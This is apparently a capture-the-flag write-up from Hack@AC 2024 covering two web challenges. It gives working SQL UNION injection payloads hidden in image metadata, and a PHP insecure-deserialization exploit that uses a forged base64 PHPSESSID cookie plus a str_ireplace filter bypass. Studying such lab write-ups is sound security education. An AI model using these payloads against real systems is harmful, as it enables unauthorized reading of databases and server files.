Hack@AC 2024

I took part in Hack@AC 2024 with the team ඞඞඞඞ. We attained 4th place in the tertiary category, having the same score as 3rd place, simply submitting the last flag later than them :(

Additionally, I won the first blood prize for solving the challenge web/Libwary.

🩸 web/Fruit Color Query

One of the more interesting sql injection challenges.

Reconnaissance

Going to the website and using the sample apple picture provided, it seems that it outputs the colour of the fruit.

However, when you input a different jpg file, the website instead writes Cannot Verify Your Picture is A Fruit. Please Add a Metadata to Your Picture.

From my teammate’s tinkering, she figured out that the website would refer to the picture’s “title” and “subject” metadata to determine the fruit type.

From the sample image, when the “title” and “subject” metadata are labelled as apple, the website outputs red. When you change the metadata to banana, the website outputs yellow.

However, when you change the metadata to flag or some other bogus value, the website returns an error.

That was when my teammate guessed it was probably a SQL Injection challenge.


SQL Injection

To solve this challenge, we will make use of a UNION attack, as we need to obtain data from other tables in the database.

First up, we need to figure out what table and column in the database contains the flag. For this, I used sqlite_master, a table that stores the schema of the database (this only applies to sqlite, I simply guessed that the application was using that).

My plan was to SELECT sql FROM sqlite_master, which tells us the CREATE TABLE query that was executed. This way, we can see the name and columns of all the tables in the database.


To execute that, we will edit the metadata of the file to be ' UNION SELECT sql FROM sqlite_master --.

  • ' closes the string
  • UNION SELECT lets us query data outside of the current table we are in
  • sql is the column we are selecting from the table sqlite_master
  • -- comments out the rest of the query, so as to avoid any errors caused by the end of the query (eg the trailing ' at the end)

Thus, the full query becomes SELECT <colour> FROM <fruit_table> WHERE <fruit>='' UNION SELECT sql FROM sqlite_master--'.

This returns the sql of the table since SELECT <colour> FROM <fruit_table> WHERE <fruit>='' will return nothing.


When we input the file with the metadata as stated, we get this output:

Nice, we now know the table name is flag and the the column is flag of the datatype TEXT (Click here for more about the CREATE TABLE syntax).

Now, we just need to use another UNION attack, this time to UNION SELECT the flag instead. We adjust the metadata to be ' UNION SELECT flag FROM flag--.

And when we submit the image, the application returns the flag.

Flag: ACSI{sql1_i5_d34d?_1_d0n't_r341ly_Kn0w}


A short note on UNION attacks

When I solved the challenge, and used UNION SELECT sql FROM sqlite_master, it actually returned the sql schema for the fruits table instead of the flag table.

UNION SELECT sql FROM sqlite_master returns the sql schema of all the tables in the database (in this case, 2 tables). However, the webpage only returns the first result (between the 2 tables). Thus, it may return the wrong table.

To solve that problem, add LIMIT 1 OFFSET 1 to the sql injection query. This basically offsets the result by 1, to grab the 2nd table.


🩸web/Libwary

Won the first blood prize for this :D

Reconnaissance

Pulling up the website, it let us select a book and prints out its contents, one of which is “the flag”. However, selecting that gives us this:

Additionally, the website also states our username at the top.

Let’s dive into the source code.

index.php

<?php
include("util.php");
if ($_SERVER['REQUEST_METHOD'] == "POST"){
    $option = $_POST['book'];  
}
else{
    $option = -1;
}

if (!isset($_COOKIE['PHPSESSID'])){
    $user = new User("User". substr(uniqid(),5,9));
    setcookie("PHPSESSID", base64_encode(serialize($user)));
}
else{
    $user = unserialize(base64_decode($_COOKIE['PHPSESSID']));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Libwary</title>
</head>
<body>
    <h1> Welcome to the Libwary™,  
        <?php 
            echo $user;
        ?>
    </h1>
    <h3> Select a book to read </h3>

    <form action="index.php" method="POST">
        <select name="book">
            <option value="1">A Love Story</option>
            <option value="2">The Hackerman</option>
            <option value="3">The Egg</option>
            <option value="4">Exploring the Castle</option>
            <option value="5"> The Flag </option>
        </select>
        <input type="submit" value="Read">
    </form>

    <p> <?php 
        if ($option != -1){
            $book = new Book($option);
            echo $book;
        }
        else{
            echo "Please select a book to read";
        }
    ?>
    </p>

</body>
</html>

A post request is sent based on the book we choose. Also, our username is obtained from our PHPSESSID cookie, which is serialized from the User class (shown below).

  • Serialization generates a storable representation of PHP values, without losing their type and structure

Now, looking at util.php, we see 2 classes defined: Book and User. Let’s first focus on the Book class.

$titles = array("lovestory.txt", "hackerstory.txt", "eggstory.txt", "castlestory.txt", "flag.txt");
//bro thought he was cool by using classes for everything...

class Book {
	public $option;
    public $name;
    public $content;

    function __construct($option) {
        $this->option = intval($option);
        $this->name = $GLOBALS['titles'][$this->option - 1];
        //if option was the flag, don't allow the user to read it
        if ($this->option == 5){
            $this->name = "fakeflag.txt";
        }
    }

    function __tostring(){
        //final defence
        if ($this->name != "fakeflag.txt") $this->name = str_ireplace("flag", "", $this->name);
        //read the file
        $this->content = file_get_contents("books/" . $this->name);
        //make it look nicer
        $this->content = str_replace("\r", "", $this->content);
        $this->content = str_replace("\n", "<br>", $this->content);

        return $this->content;
    }
}

From here, we can see why selecting “the flag” doesn’t work:

When an object with the class Book is first created (via __construct()), if we chose “the flag” as the book, it will be converted to “fakeflag.txt” instead.

It also has a final defence in __tostring (what is represented when the Book class is treated as a string), where it removes all occurences of “flag” in the name of the book chosen (unless it is “fakeflag.txt”).

Now moving on to the User class:

class User {
    public $name;
    function __construct($name) {
        $this->name = $name;
    }
    function __tostring() {
        return $this->name;
    }
}

Not much to say, it just consists of a name. The __tostring method returns the name of the user. In this case, said __tostring method will be triggered at the following portion of the code (echo is similar to print in outputting data to the screen).

<h1> Welcome to the Libwary™,  
    <?php 
        echo $user;
    ?>
</h1>

That is why our username is able to be dynamically displayed on the webpage.

So how can we solve this problem? The defences to prevent us from accessing “flag.txt” in Book all seem quite legit…


Remember earlier where our username is determined from our cookie?

if (!isset($_COOKIE['PHPSESSID'])){
    $user = new User("User". substr(uniqid(),5,9));
    setcookie("PHPSESSID", base64_encode(serialize($user)));
}
else{
    $user = unserialize(base64_decode($_COOKIE['PHPSESSID']));
}
The PHPSESSID cookie

Since we can control the value of the cookie, what if we decide to change the value of PHPSESSID?

  • You can use extensions to change the value of the cookie (I am using Cookie-Editor)

Typing bogus values leads to the username not even being displayed. This is because we face a deserizaliation error.

Typing bogus values into the PHPSESSID cookie
When we try to unserialize bogus values, it will lead to an error

Thus, to change our username without throwing an error, we need to encode it the same way as how the cookie was encoded in the code:

setcookie("PHPSESSID", base64_encode(serialize($user)));

So, we need to encode it through base64_encode(serialize(<new_username>)). How about let’s try encode the value ‘hi’ as our username.

print(base64_encode(serialize('hi')));

// Output: czoyOiJoaSI7

Changing our PHPSESSID cookie to the output, we get ‘hi’ displayed as our username!

So, how can we exploit this to obtain the flag?


PHP Insecure Deserialization

Considering we can control PHPSESSID to display whatever we want, how if we serialize an object with the class Book?

  • Remember that serialization maintains the type and structure of the object!

The class Book will return the content of the file when printed (as per its __toString method).

function __tostring(){
    //final defence
    if ($this->name != "fakeflag.txt") $this->name = str_ireplace("flag", "", $this->name);
    //read the file
    $this->content = file_get_contents("books/" . $this->name);
    //make it look nicer
    $this->content = str_replace("\r", "", $this->content);
    $this->content = str_replace("\n", "<br>", $this->content);

    return $this->content;
}

So, when it undergoes the following code, if $user is an object with the class Book, it would return the contents of its file!

<h1> Welcome to the Libwary™,  
    <?php 
        echo $user;
    ?>
    <!-- this will return the contents of the file selected,
    if the variable $user is an object of class Book-->
</h1>

This is a potential vulnerability we can make use to print the contents “flag.txt”. We just need to serialize an object with the class Book, but make $name = 'flag.txt'.


Getting flag.txt

We can simulate creating an object with the Book class by simply copy pasting the class and its variables from util.php to our own php compiler (or use this online sandbox).

We can then simply proceed to encode this object via the abovementioned serialization procedure.

<?php
class Book {
	public $option;
    public $name;
    public $content;
}

print(base64_encode(serialize(new Book())));
// we can serialize a Book object this way to then put into the cookie
?>

Since we did not include a __construct method here, the value of $option doesn’t determine the value of $name.

  • When we serialize the $Book object ourselves, the values that are stored are 1) the class name and 2) its variables (ie $option,$name). The methods (eg __construct) will NOT be saved

So, why don’t we just fix $name to “flag.txt” by ourselves?

<?php
class Book {
	public $option;
    public $name = "flag.txt"; //fix $name to flag.txt
    public $content;
}
print(base64_encode(serialize(new Book()))); // serialize the Book object

// Output: Tzo0OiJCb29rIjozOntzOjY6Im9wdGlvbiI7TjtzOjQ6Im5hbWUiO3M6ODoiZmxhZy50eHQiO3M6NzoiY29udGVudCI7Tjt9
?>

As such, we have successfully encoded an object which has $name = "flag.txt".

However, this still wouldn’t work due to the final defence in __tostring.

function __tostring(){
    //final defence [it will remove all occurrences of "flag" in $name]
    if ($this->name != "fakeflag.txt") $this->name = str_ireplace("flag", "", $this->name);
    //read the file
    $this->content = file_get_contents("books/" . $this->name);
    //make it look nicer
    $this->content = str_replace("\r", "", $this->content);
    $this->content = str_replace("\n", "<br>", $this->content);

    return $this->content;
}

As such, when printing the object, $name will become ".txt" which leads to an error.


Bypassing the final defence

I went to google around for some bypasses of str_ireplace when I passed by this article.

A screenshot from the website.

In the case of this image, the filtered terms are <script> and </script>. To bypass the filter, the author embeds <script> in the middle of a <scr and ipt>, forming <scr<script>ipt>.

The filter will remove the <script> in the middle, which combines the <scr and ipt> fragments to form the filtered term!


Applying this, what we need to do is to put $name = "flflagag.txt". This way, when the middle "flag" is removed, the 2 fragments at the side will form "flag.txt"!

Let’s create a serialized Book object, this time with $name = "flflagag.txt".

<?php
class Book {
	public $option;
    public $name = "flflagag.txt";
    public $content;
}
print(base64_encode(serialize(new Book())));

// Output: Tzo0OiJCb29rIjozOntzOjY6Im9wdGlvbiI7TjtzOjQ6Im5hbWUiO3M6MTI6ImZsZmxhZ2FnLnR4dCI7czo3OiJjb250ZW50IjtOO30=
?>

Let’s change out cookie to the output. Reloading the page, we get the flag displayed at the location of the username.

Flag: ACSI{0mg_th4nks_f0r_r3ading!}